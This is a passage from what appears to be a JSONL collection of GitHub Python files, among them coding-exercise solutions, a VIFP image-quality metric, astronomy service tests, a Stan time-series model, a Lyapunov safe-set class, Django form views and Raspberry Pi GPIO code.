\"\"\"\n Looks for a given word in a list of article title and descriptions\n \"\"\"\n word = word.lower()\n count = 0\n for title in titles:\n if word in title.lower():\n count += 1\n return count\n\n\nif __name__ == \"__main__\":\n start = time.time()\n sources = get_sources()\n titles = []\n thread_list = []\n queueLock = threading.Lock()\n\n for source in sources:\n thread = threading.Thread(target = get_articles,\n args = (source, titles, queueLock))\n thread.daemon = True # allow ctrl-c to end\n thread.start()\n thread_list.append(thread)\n\n for j in thread_list:\n j.join()\n\n word_count = 0\n art_count = len(titles)\n word_count += count_word('trump', titles)\n print(WORD, \" found {} times in {} articles.\".format(word_count, art_count))\n print(\"Process took {:.0f} seconds.\".format(time.time() - start))\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_Course2_2018","sub_path":"students/ShinTran/lesson09/get_news_threading.py","file_name":"get_news_threading.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"4593635220","text":"import sys\nimport math\nfrom collections import *\nfrom itertools import *\n\ninput = sys.stdin.readline\n\ndef solve():\n n, k = map(int, input().split())\n s = input().rstrip()\n ans = 0\n if s.count(\"1\") == 0:\n print(0)\n return \n\n for i in range(n-1):\n ans += int(s[i:i+2])\n\n rb = 0\n for i in range(n-1, -1, -1):\n if s[i] == \"1\":\n rb = n-1-i\n break\n\n lb = 0\n for i in range(n):\n if s[i] == \"1\":\n lb = i\n break\n \n\n if k >= rb:\n if rb > 0:\n ans -= 10\n k -= rb\n if s.count(\"1\") == 1:\n if s[0] == \"1\":\n ans += 1\n\n print(ans)\n return\n\n if k>=lb>0:\n ans -= 1\n print(ans)\n\n\nt = 1\nt = int(input())\n\nfor _ in range(t):\n solve()\n\n","repo_name":"SubwayMan/codeforces","sub_path":"misc-practice/1691C.py","file_name":"1691C.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71361200347","text":"import numpy as np\nfrom utils.utils import filter2d, gaussian_kernel\n\ndef VIFP(reference, distorted):\n sigma_nsq = 2\n eps = 1e-10\n num = 0.0\n den = 0.0\n \n for scale in range(1, 5):\n N = 2**(5 - scale) + 1\n win = gaussian_kernel([N, N], N / 5.0)\n \n if scale > 1:\n reference = filter2d(win, reference, 'valid')\n distorted = filter2d(win, distorted, 'valid')\n # down-sampling\n distorted = distorted[::2, ::2]\n reference = reference[::2, ::2]\n \n mu1 = filter2d(win, reference, 'valid')\n mu2 = filter2d(win, distorted, 'valid')\n sigma1_sq = filter2d(win, reference * reference, 'valid') - mu1 * mu1\n sigma2_sq = filter2d(win, distorted * distorted, 'valid') - mu2 * mu2\n sigma12 = filter2d(win, reference * distorted, 'valid') - mu1 * mu2\n \n sigma1_sq[sigma1_sq < 0] = 0\n sigma2_sq[sigma2_sq < 0] = 0\n \n g = sigma12 / (sigma1_sq + eps)\n sv_sq = sigma2_sq - g * sigma12\n \n g[sigma1_sq < eps] = 0\n sv_sq[sigma1_sq < eps] = sigma2_sq[sigma1_sq < eps]\n sigma1_sq[sigma1_sq < eps] = 0\n \n g[sigma2_sq < eps] = 0\n sv_sq[sigma2_sq < eps] = 0\n \n sv_sq[g < 0] = sigma2_sq[g < 0]\n g[g < 0] = 0\n sv_sq[sv_sq <= eps] = eps\n \n num += np.sum(np.log10(1 + g * g * sigma1_sq / (sv_sq + sigma_nsq)))\n den += np.sum(np.log10(1 + sigma1_sq / sigma_nsq))\n \n VIFP_score = num / den\n return VIFP_score","repo_name":"hotelll/AVQA","sub_path":"AVIFP/VIFP.py","file_name":"VIFP.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"28702679435","text":"\"\"\" Sky Model Service spatial search tests against a large database\n\nThese tests are configured to use the same SQLite database as some of the\nC++ GlobalSkyModel class unit tests.\n\nBy replicating the same tests against the same database, it helps ensure\nconsistency between the backend C++ implementation and the Ice interface to the\nSMS.\n\"\"\"\n\nimport os\nimport sys\nfrom datetime import datetime\nfrom time import sleep, time\n\nimport nose.tools as nt\nfrom unittest import skip\n\nfrom askap.iceutils import CPFuncTestBase, get_service_object\nfrom askap.slice import SkyModelService\nfrom askap.interfaces.skymodelservice import (\n ISkyModelServicePrx,\n Coordinate,\n Rect,\n RectExtents,\n ContinuumComponent,\n ContinuumComponentPolarisation,\n SearchCriteria,\n)\n\n\n# Currently skipping the large spatial query tests. The test database is\n# too large to add to SVN, and I haven't written a script to generate a deterministic\n# large database yet.\n@skip\nclass Test(CPFuncTestBase):\n def __init__(self):\n super(Test, self).__init__()\n self.sms_client = None\n\n def setUp(self):\n # Note that the working directory is 'functests', thus paths are\n # relative to that location.\n os.environ[\"ICE_CONFIG\"] = \"config-files/ice.cfg\"\n os.environ['TEST_DIR'] = 'test_large_spatial_search'\n super(Test, self).setUp()\n\n try:\n self.sms_client = get_service_object(\n self.ice_session.communicator,\n \"SkyModelService@SkyModelServiceAdapter\",\n ISkyModelServicePrx)\n except Exception as ex:\n self.shutdown()\n raise\n\n def test_radius_20(self):\n start = time()\n components = self.sms_client.coneSearch(\n centre=Coordinate(255.0, 0.0),\n radius=20.0,\n criteria=SearchCriteria())\n elapsed = time() - start\n sys.stderr.write('Search completed in {0} seconds ... '.format(elapsed))\n assert len(components) == 19569\n\n def test_radius_40(self):\n start = time()\n components = self.sms_client.coneSearch(\n centre=Coordinate(255.0, 0.0),\n radius=40.0,\n criteria=SearchCriteria())\n elapsed = time() - start\n sys.stderr.write('Search completed in {0} seconds ... '.format(elapsed))\n assert len(components) == 79100\n","repo_name":"ATNF/askapsoft","sub_path":"Code/Components/Services/skymodel/service/functests/test_large_spatial_search/test_large_spatial_search.py","file_name":"test_large_spatial_search.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"70799870747","text":"class School:\n def __init__(self, name):\n self.name = name\n self.db = {}\n \n def add(self, name, grade_number):\n if grade_number in self.db:\n self.db[grade_number].append(name)\n else:\n self.db[grade_number] = [name]\n \n def grade(self,grade_number):\n if grade_number in self.db:\n return self.db[grade_number]\n else:\n return set()\n \n def sort_single_grade(self,list_of_names):\n return sorted(list_of_names) \n \n def sort(self):\n \n grades = []\n for number in self.db:\n grades.append(number)\n \n grades = sorted(grades)\n to_return = []\n for number in grades:\n to_return.append((number,tuple(self.db[number])))\n return(to_return)","repo_name":"KrishanBhasin/exercism","sub_path":"grade-school/school.py","file_name":"school.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6359993950","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n p1 = l1\n p2 = l2\n l3 = ListNode(None)\n p3 = l3\n \n while p1 and p2:\n if p1.val <= p2.val:\n p3.next = p1\n p1 = p1.next\n else:\n p3.next = p2\n p2 = p2.next\n p3 = p3.next\n\n # p1 is not empty and p2 is empty\n if p1 and not p2:\n p3.next = p1\n elif not p1 and p2:\n p3.next = p2\n else:\n p3.next = None\n return l3.next\n \n\n \n","repo_name":"YuweiHuang/DSAA-Notes","sub_path":"linklist/lc_21_mergetwolist.py","file_name":"lc_21_mergetwolist.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39951802132","text":"#!/usr/bin/python3\ndef only_diff_elements(set_1, set_2):\n list_all = list(set_1) + list(set_2)\n list_l = []\n\n for i in set_1:\n for j in set_2:\n if i == j:\n list_l.append(i)\n\n for i in list_all:\n for j in list_l:\n if i == j:\n list_all.remove(i)\n\n return set(list_all)\n","repo_name":"moncada92/holbertonschool-higher_level_programming","sub_path":"0x04-python-more_data_structures/4-only_diff_elements.py","file_name":"4-only_diff_elements.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31872548534","text":"from pyFTS.common import fts\nfrom pyFTS.models import hofts\nfrom pyFTS.fcm import common, GA, Activations, GD\nimport numpy as np\n\n\nclass FCM_FTS(hofts.HighOrderFTS):\n\n def __init__(self, **kwargs):\n super(FCM_FTS, self).__init__(**kwargs)\n self.fcm = common.FuzzyCognitiveMap(**kwargs)\n\n def train(self, data, **kwargs):\n method = kwargs.get('method','GA')\n if method == 'GA':\n GA.parameters['num_concepts'] = self.partitioner.partitions\n GA.parameters['order'] = self.order\n GA.parameters['partitioner'] = self.partitioner\n ret = GA.execute(data, **kwargs)\n self.fcm.weights = ret['weights']\n self.fcm.bias = ret['bias']\n elif method == 'GD':\n self.fcm.weights = GD.GD(data, self, **kwargs)\n\n def forecast(self, ndata, **kwargs):\n ret = []\n\n midpoints = np.array([fset.centroid for fset in self.partitioner])\n\n for t in np.arange(self.order, len(ndata)+1):\n\n sample = ndata[t - self.order : t]\n\n fuzzyfied = self.partitioner.fuzzyfy(sample, mode='vector')\n\n activation = self.fcm.activate(fuzzyfied)\n\n final = np.dot(midpoints, activation)/np.nanmax([1, np.sum(activation)])\n\n if str(final) == 'nan' or final == np.nan or final == np.Inf:\n print('error')\n\n ret.append(final)\n\n return ret\n","repo_name":"PYFTS/pyFTS","sub_path":"pyFTS/fcm/fts.py","file_name":"fts.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":249,"dataset":"github-code","pt":"11"} +{"seq_id":"3975838882","text":"class Solution:\n def longestPalindrome(self, s: str) -> str:\n if len(s) == 1:\n return s\n if s == s[::-1]:\n return s\n longest = \"\"\n\n # find the longest palindrome from each letter as the center\n # do again for even sized palindromes\n for i in range(len(s)):\n start = i\n end = i\n while start >= 0 and end < len(s) and s[start] == s[end]:\n if (end - start + 1) > len(longest):\n longest = s[start:end+1]\n\n start -= 1\n end += 1\n\n start, end = i, i + 1\n while start >= 0 and end < len(s) and s[start] == s[end]:\n # get length of palindrome\n if (end - start + 1) > len(longest):\n longest = s[start:end + 1]\n\n start -= 1\n end += 1\n\n return longest\n\nif __name__ == '__main__':\n print(Solution().longestPalindrome(\"babad\"))","repo_name":"Setyadjih/LeetCodeProblems","sub_path":"problems/longest_palindrome.py","file_name":"longest_palindrome.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16698713054","text":"import os\nimport matplotlib.pyplot as plt\nimport pystan\nimport pandas\nimport pickle\nimport seaborn as sns\nimport tools\n\n\n\nsales_df = pandas.read_csv('5-2-1-sales-ts-1.csv')\nprint(sales_df.head())\nprint(sales_df.describe())\n\nsales_df['date'] = pandas.to_datetime(sales_df['date'])\nprint(sales_df.head())\nsales_df['date'] = sales_df['date'].view('int64') // 10**9\nprint(sales_df.head())\n\nax = sns.lineplot(x=\"date\", y=\"sales\", data=sales_df)\nplt.show()\n\nsales = sales_df['sales']\nT = len(sales)\n\nstan_data = {\n 'T': T,\n 'y': sales\n}\n\n\n\nif os.path.exists('5-2-1-local-level.pkl'):\n sm = pickle.load(open('5-2-1-local-level.pkl', 'rb'))\n # sm = pystan.StanModel(file='4-3-1-poisson-glmm.stan')\nelse:\n # a model using prior for mu and sigma.\n sm = pystan.StanModel(file='5-2-1-local-level.stan')\n\ncontrol = {\n 'adapt_delta': 0.8,\n 'max_treedepth': 10\n}\n\nmcmc_result = sm.sampling(\n data=stan_data,\n seed=1,\n chains=4,\n iter=2000,\n warmup=1000,\n control=control,\n thin=1\n)\n\nprint(mcmc_result)\nmcmc_result.plot()\nplt.show()\n\n# saving compiled model\nif not os.path.exists('5-2-1-local-level.pkl'):\n with open('5-2-1-local-level.pkl', 'wb') as f:\n pickle.dump(sm, f)\n\n\nmcmc_sample = mcmc_result.extract()\n\n# plot ssm\ntools.plot_ssm(mcmc_sample,\n sales_df['date'],\n 'local level model',\n 'sales',\n 'mu',\n sales_df['sales'])","repo_name":"MasazI/python-r-stan-bayesian-model","sub_path":"5-2-1.py","file_name":"5-2-1.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"39778633289","text":"import pywizlight.bulblibrary\nfrom pywizlight import wizlight\n\nfrom LightController.core.library import Features\n\n\ndef convert_wizlight_features_to_light_controller_features(wizlight_features: pywizlight.bulblibrary.Features) -> Features:\n light_controller_features = Features(\n brightness=wizlight_features.brightness,\n colortemp=wizlight_features.color_tmp,\n color=wizlight_features.color\n )\n return light_controller_features\n\n\nclass WizBulbFeaturesDeterminator:\n def __init__(self, bulb_instance: wizlight):\n self._bulb_instance: wizlight = bulb_instance\n\n async def get_features(self) -> Features:\n bulb_config = await self._bulb_instance.get_bulbtype()\n wizlight_features = bulb_config.features\n features = convert_wizlight_features_to_light_controller_features(wizlight_features)\n return features\n","repo_name":"laga-vladislav/LightController","sub_path":"LightController/wiz/WizBulbFeaturesDeterminator.py","file_name":"WizBulbFeaturesDeterminator.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26334696555","text":"def main():\n dna_f = open(\"data/test.txt\", 'r')\n sequence = dna_f.readline()\n dna_f.close()\n\n dic = {'A' : 'T', 'G' : 'C', 'C' : 'G', 'T' : 'A'}\n seq = []\n for i in sequence:\n seq.append(dic.get(i))\n\n print(\",\".join(seq))\n\nif __name__ == \"__main__\":\n main()","repo_name":"radoslavzi/BioInformatics","sub_path":"Elia Asenova/Semester_1/complementing.py","file_name":"complementing.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2696528778","text":"import numpy as np\nimport torch\nfrom .utils import batchify, get_storage, set_storage, unique_rows\nfrom .configuration import Configuration\nconfig = Configuration()\ndel Configuration\n\n\n__all__ = ['Lyapunov']\n\nclass Lyapunov(object):\n \"\"\"A class for general Lyapunov functions.\n\n Parameters\n ----------\n discretization : ndarray\n A discrete grid on which to evaluate the Lyapunov function.\n lyapunov_function : callable or instance of `DeterministicFunction`\n The lyapunov function. Can be called with states and returns the\n corresponding values of the Lyapunov function.\n dynamics : a callable or an instance of `Function`\n The dynamics model. Can be either a deterministic function or something\n uncertain that includes error bounds.\n lipschitz_dynamics : ndarray or float\n The Lipschitz constant of the dynamics. Either globally, or locally\n for each point in the discretization (within a radius given by the\n discretization constant. This is the closed-loop Lipschitz constant\n including the policy!\n lipschitz_lyapunov : ndarray or float\n The Lipschitz constant of the lyapunov function. Either globally, or\n locally for each point in the discretization (within a radius given by\n the discretization constant.\n tau : float\n The discretization constant.\n policy : ndarray, optional\n The control policy used at each state (Same number of rows as the\n discretization).\n initial_set : ndarray, optional\n A boolean array of states that are known to be safe a priori.\n adaptive : bool, optional\n A boolean determining whether an adaptive discretization is used for\n stability verification.\n decrease_thresh: None or a real value. If None, the threshold is computed by self.threshold function.\n If it is a real value, the value is considered as the threshold.\n\n \"\"\"\n\n def __init__(self, discretization, lyapunov_function, dynamics,\n lipschitz_dynamics, lipschitz_lyapunov,\n tau, policy, initial_set=None, adaptive=False, decrease_thresh=None):\n \"\"\"Initialization, see `Lyapunov` for details.\"\"\"\n super(Lyapunov, self).__init__()\n\n self.discretization = discretization\n self.policy = policy\n # Keep track of the safe sets\n self.safe_set = np.zeros(np.prod(discretization.num_points),\n dtype=bool)\n self.initial_safe_set = initial_set\n if initial_set is not None:\n self.safe_set[initial_set] = True\n # Discretization constant\n self.tau = tau\n self.decrease_thresh = decrease_thresh\n # Make sure dynamics are of standard framework\n self.dynamics = dynamics\n # Make sure Lyapunov fits into standard framework\n self.lyapunov_function = lyapunov_function\n # Storage for graph\n self._storage = dict()\n # Lyapunov values\n self.values = None\n self.c_max = torch.tensor(0, dtype=config.ptdtype)\n # self.feed_dict[self.c_max] = 0.\n self._lipschitz_dynamics = lipschitz_dynamics\n self._lipschitz_lyapunov = lipschitz_lyapunov\n self.update_values()\n self.adaptive = adaptive\n\n\n def lipschitz_dynamics(self, states):\n \"\"\"Return the Lipschitz constant for given states and actions.\n\n Parameters\n ----------\n states : ndarray or Tensor\n\n Returns\n -------\n lipschitz : float, ndarray or Tensor\n If lipschitz_dynamics is a callable then returns local Lipschitz\n constants. Otherwise returns the Lipschitz constant as a scalar.\n \"\"\"\n if hasattr(self._lipschitz_dynamics, '__call__'): # check if _lipschitz_dynamics is a function\n return self._lipschitz_dynamics(states)\n else:\n return self._lipschitz_dynamics\n\n\n def lipschitz_lyapunov(self, states):\n \"\"\"Return the local Lipschitz constant at a given state.\n\n Parameters\n ----------\n states : ndarray or Tensor\n\n Returns\n -------\n lipschitz : float, ndarray or Tensor\n If lipschitz_lyapunov is a callable then returns local Lipschitz\n constants. Otherwise returns the Lipschitz constant as a scalar.\n \"\"\"\n if hasattr(self._lipschitz_lyapunov, '__call__'):\n return self._lipschitz_lyapunov(states)\n else:\n return self._lipschitz_lyapunov\n\n\n def threshold(self, states, tau=None):\n \"\"\"Return the safety threshold for the Lyapunov condition.\n meaning that v(x(t+1)) - v(x(t)) must be less than this threshold\n to ensure negativity of the dv\n\n Parameters\n ----------\n states : ndarray or torch.Tensor\n\n tau : np.float or torch.Tensor, optional\n discretization constant to consider.\n\n Returns\n -------\n lipschitz : np.float, ndarray or torch.Tensor\n Either the scalar threshold or local thresholds, depending on\n whether lipschitz_lyapunov and lipschitz_dynamics are local or not.\n \"\"\"\n if tau is None:\n tau = self.tau\n lv = self.lipschitz_lyapunov(states)\n if hasattr(self._lipschitz_lyapunov, '__call__') and lv.shape[1] > 1:\n lv = torch.norm(lv, p=1, axis=1)\n lf = self.lipschitz_dynamics(states)\n return - lv * (1. + lf) * tau\n\n\n def is_safe(self, state):\n \"\"\"Return a boolean array that indicates whether the state is safe using the current safe set.\n\n Parameters\n ----------\n state : ndarray\n\n Returns\n -------\n safe : boolean numpy array\n Is true if the corresponding state is inside the safe set.\n\n \"\"\"\n return self.safe_set[self.discretization.state_to_index(state)]\n\n\n def update_values(self):\n \"\"\"Update the discretized values when the Lyapunov function changes.\n self.values will be a 1D torch Tensor, (N, ) tensor of scalars where N is the number of\n points in the discretization.\n It also updates the self._storage\n \"\"\"\n \n storage = get_storage(self._storage)\n if storage is None:\n pt_points = self.discretization.all_points\n pt_values = self.lyapunov_function(pt_points)\n storage = [('points', pt_points), ('values', pt_values)]\n set_storage(self._storage, storage)\n else:\n pt_points, pt_values = storage.values()\n pt_points = self.discretization.all_points\n self.values = torch.squeeze(self.lyapunov_function(pt_points))\n\n def check_decrease_condition(self, pt_states, policy, threshold):\n \"\"\" Check if the decrease condition is satisfied for the points on the dicretization for a given policy\n\n Parameters\n ----------\n pt_states: (N x d) pytorch tensors as the states of the system\n policy: A pytorch function that determines how actions are produced by the current states. If policy is None, the system\n is autonomous.\n threshold: (N x 1) negative values as the upper bound of the decrease condition of the Lyapunov function for each state\n\n Returns\n ----------\n decrease_condition: (N,) pytorch tensor representing if the decrease condition holds for each state\n \"\"\"\n if policy is not None:\n actions = policy(pt_states)\n next_states = self.dynamics(pt_states, actions)\n else:\n next_states = self.dynamics(pt_states)\n decrease = self.lyapunov_function(next_states) - self.lyapunov_function(pt_states)\n pt_negative = torch.squeeze(torch.lt(decrease, threshold))\n return pt_negative\n\n\n def update_safe_set(self, can_shrink=True):\n \"\"\"Compute and update the safe set and c_max to determine the levelset.\n\n Parameters\n ----------\n can_shrink : bool, optional\n A boolean determining whether previously safe states other than the\n initial safe set must be verified again (i.e., can the safe set\n shrink in volume?)\n\n \"\"\"\n\n if can_shrink:\n # Reset the safe set\n safe_set = np.zeros_like(self.safe_set, dtype=bool)\n if self.initial_safe_set is not None:\n safe_set[self.initial_safe_set] = True\n else:\n # Assume safe set cannot shrink\n safe_set = self.safe_set\n self.update_values()\n value_order = np.argsort(np.squeeze(self.values.detach().numpy())) # ordered indices based on the values of the Lyapunov function\n safe_set = safe_set[value_order]\n\n # Verify safety in batches\n batch_size = config.batch_size\n batch_generator = batchify((value_order, safe_set),\n batch_size)\n index_to_state = self.discretization.index_to_state\n\n #######################################################################\n\n for i, (indices, safe_batch) in batch_generator:\n states = index_to_state(indices)\n\n # Update the safety with the safe_batch result\n thresh = torch.tensor(self.decrease_thresh, dtype=config.ptdtype) if self.decrease_thresh is not None else self.threshold(torch.tensor(states, dtype=config.ptdtype), self.tau)\n negative = self.check_decrease_condition(torch.tensor(states, dtype=config.ptdtype), self.policy, threshold=thresh).detach().numpy().astype('int')\n negative = (negative == 1)\n safe_batch |= negative\n\n # Boolean array: argmin returns first element that is False\n # If all are safe then it returns 0\n bound = np.argmin(safe_batch)\n\n # Check if there are unsafe elements in the batch\n if bound > 0 or not safe_batch[0]:\n # Make sure all following points are labeled as unsafe (because the batch is ordered with the values of the Lyapunov function)\n safe_batch[bound:] = False\n break\n # The largest index of a safe value\n max_index = i + bound # i is the starting index of each batch and bound is the index inside a batch\n\n # Set placeholder for c_max to the corresponding value\n self.c_max = self.values[value_order[max_index]]\n\n # Restore the order of the safe set\n safe_nodes = value_order[safe_set]\n self.safe_set[:] = False\n self.safe_set[safe_nodes] = True\n\n # Ensure the initial safe set is kept\n if self.initial_safe_set is not None:\n self.safe_set[self.initial_safe_set] = True\n\n","repo_name":"amehrjou/neural_lyapunov_redesign","sub_path":"mars/lyapunov.py","file_name":"lyapunov.py","file_ext":"py","file_size_in_byte":10724,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"9753794789","text":"#!/usr/bin/env python3\n \nimport csv\n\ndef read_employees(csv_file_location):\n # Register the dialect\n csv.register_dialect('empDialect', skipinitialspace=True, strict=True)\n\n # Open the CSV file and create a reader object\n with open(csv_file_location) as file:\n employee_file = csv.DictReader(file, dialect='empDialect')\n\n # Initialize an empty list to store the employee data\n employee_list = []\n\n # Iterate over each row in the CSV file\n for data in employee_file:\n # Append the row (dictionary) to the employee list\n employee_list.append(data)\n\n return employee_list\n\n# Test the function\nemployee_list = read_employees('employees.csv')\n#print(employee_list)\ndef process_data(employee_list):\n department_list = []\n for employee_data in employee_list:\n department_list.append(employee_data['Department'])\n\n department_data = {}\n for department_name in set(department_list):\n department_data[department_name] = department_list.count(department_name)\n\n return department_data\n\ndictionary = process_data(employee_list)\n#print(dictionary)\n\ndef write_report(dictionary, report_file):\n with open(report_file, 'w+') as f:\n for k in sorted(dictionary):\n f.write(str(k) +':'+str(dictionary[k])+'\\n')\n f.close()\nwrite_report(dictionary, 'test_report.txt')\n\n","repo_name":"iamdanielsuresh/ITA","sub_path":"C2/W2/main_assessment.py","file_name":"main_assessment.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72216173469","text":"import RPi.GPIO as GPIO\nimport time\n# to use Raspberry Pi board pin numbers\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False) \n# set up the GPIO channels - one input and one output\n#GPIO.setup(11, GPIO.IN)\nGPIO.setup(5, GPIO.OUT)\n \n# input from pin 11\n#input_value = GPIO.input(11)\n \n# output to pin 12\nfor i in range(5):\n GPIO.output(5, GPIO.HIGH)\n time.sleep(0.2)\n GPIO.output(5, GPIO.LOW)\n time.sleep(0.2)","repo_name":"jumbokh/rpi_class","sub_path":"test/gpio_test.py","file_name":"gpio_test.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"16623371626","text":"import numpy as np\n\nclass LossFunc:\n @staticmethod\n def _mse(y_gt, y_pred):\n return (y_pred - y_gt) ** 2\n \n @staticmethod\n def _der_mse(y_gt, y_pred):\n return y_pred - y_gt\n \n @staticmethod\n def _mae(y_gt, y_pred):\n return abs(y_pred - y_gt)\n \n @staticmethod\n def _der_mae(y_gt, y_pred):\n return np.where(y_pred > y_gt, 1, -1)\n \n @staticmethod\n def _ce(y_gt, y_pred):\n y_p, y_p_c = y_pred, 1 - y_pred\n if abs(y_p) < 1e-5:\n y_p = 1e-5\n if abs(y_p_c) < 1e-5:\n y_p_c = 1e-5\n return - y_gt * np.log(y_p) - (1 - y_gt) * np.log(y_p_c)\n \n @staticmethod\n def _der_ce(y_gt, y_pred):\n y_p, y_p_c = y_pred, 1 - y_pred\n if abs(y_p) < 1e-5:\n y_p = 1e-5 * np.where(y_p > 0, 1, -1)\n if abs(y_p_c) < 1e-5:\n y_p_c = 1e-5 * np.where(y_p_c > 0, 1, -1)\n return (- y_gt / (y_p)) + ((1 - y_gt) / (y_p_c))\n \ndef fetch_loss(mode):\n assert mode == 'mse' or mode == 'mae' or mode == 'ce'\n\n loss_func = {\n 'mse': LossFunc._mse,\n 'mae': LossFunc._mae,\n 'ce': LossFunc._ce\n }[mode]\n\n der_loss_func = {\n 'mse': LossFunc._der_mse,\n 'mae': LossFunc._der_mae,\n 'ce': LossFunc._der_ce\n }[mode]\n\n return loss_func, der_loss_func","repo_name":"beryli/Artificial-Neural-Network","sub_path":"lib/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"17246967336","text":"from django.shortcuts import render\nfrom django.template import loader\nfrom django.http import HttpResponse\nfrom django import forms\n\n\"\"\"\n\n 1. Дана форма с тремя текстовыми полями. \n Вернуть пользователю максимальное по длине значение поля. \n Пример: введены abc, abcdef, ab - пользователю вернется abcdef. \n Для задания требуется создать новый репозиторий.\n 2. Дана форма с одним полем - дата. \n Если дата первое января - вывести сообщение: “С новым {номер года} годом”. \n В ином случае, вывести дату в формате: год-месяц-день. \n Выполнить з��дание в репозитории из первого задания\"\"\"\nclass BaseForm(forms.Form):\n input_1 = forms.CharField()\n input_2 = forms.CharField()\n input_3 = forms.CharField()\n\n\nclass DataForm(forms.Form):\n current_data = forms.DateField()\n\n\ndef base(request):\n return render(request, 'base.html')\n\n\ndef task_19_1(request):\n if request.method == \"GET\":\n return render(request, 'index.html')\n elif request.method == \"POST\":\n form = BaseForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n print(data)\n max_i = \"\"\n for i in data.values():\n if len(max_i) < len(i):\n max_i = i\n return render(request, 'index2.html', {'max_i': max_i})\n else:\n return render(request, 'index.html')\n\n\ndef task_19_2(request):\n if request.method == \"GET\":\n\n return render(request, 'task_19_2.html')\n\n elif request.method == \"POST\":\n form = DataForm(request.POST)\n if form.is_valid():\n date = form.cleaned_data\n print(date)\n\n print(date.get('current_data'))\n d = date.get('current_data').day\n m = date.get('current_data').month\n y = date.get('current_data').year\n print('{}:{}:{}'.format(d, m, y))\n\n return render(request, 'task_19_2_2.html', {'d': d, 'm': m, 'y': y})\n\n return render(request, 'task_19_2.html')\n\n # Create your views here.\n","repo_name":"AlexandrSech/Z49-TMS","sub_path":"students/Volodzko/Task_19/Task_19/Task_19_App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"25656803199","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Master Data - Controllers\n\n @author: Fran\n\"\"\"\n\nmodule = request.controller\n\nif module not in deployment_settings.modules:\n raise HTTP(404, body=\"Module disabled: %s\" % module)\n\n# Options Menu (available in all Functions' Views)\nshn_menu(module)\n\ndef index():\n \"Module's Home Page\"\n\n module_name = deployment_settings.modules[module].name_nice\n response.title = module_name\n return dict(module_name=module_name)\n","repo_name":"flavour/lacity","sub_path":"controllers/master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19939899525","text":"import itertools\nimport math\n\n\ndef primes(a):\n a = int(a)\n isPrime = 1\n for i in range(2, int(math.sqrt(a)) + 1):\n if a % i == 0:\n isPrime = 0\n if a == 1 or a == 0:\n return False\n if isPrime == 1:\n return True\n else:\n return False\n\n\ndef smallestProduct(abc):\n result = list(itertools.permutations(abc))\n list1 = list(map(lambda x: ''.join(x), result))\n list2 = []\n smallestproduct = 99999999999999\n for permutation in list1:\n for i in range(1, len(permutation)+1):\n for j in range(i + 1, len(permutation)):\n a = permutation[:i]\n b = permutation[i:j]\n c = permutation[j:len(permutation)]\n if a[0] == '0' or b[0] == '0' or c[0] == '0':\n continue\n if primes(a) and primes(b) and primes(c) and ((int(a) * int(b) * int(c)) < smallestproduct):\n smallestproduct = int(a) * int(b) * int(c)\n list2.clear()\n list2.append(a)\n list2.append(b)\n list2.append(c)\n\n print(list2)\n\n\nabc = input()\nsmallestProduct(abc)","repo_name":"shikhar-sharma1703/Data-Structures-Codechef","sub_path":"PrimeAnagram.py","file_name":"PrimeAnagram.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"17294133884","text":"class Solution:\n def equalSubstring(self, s: str, t: str, maxCost: int) -> int:\n cost = 0\n ans = 0\n j = 0\n for i in range(len(s)):\n cost += abs(ord(s[i]) - ord(t[i]))\n while cost > maxCost:\n cost -= abs(ord(s[j]) - ord(t[j]))\n j += 1\n ans = 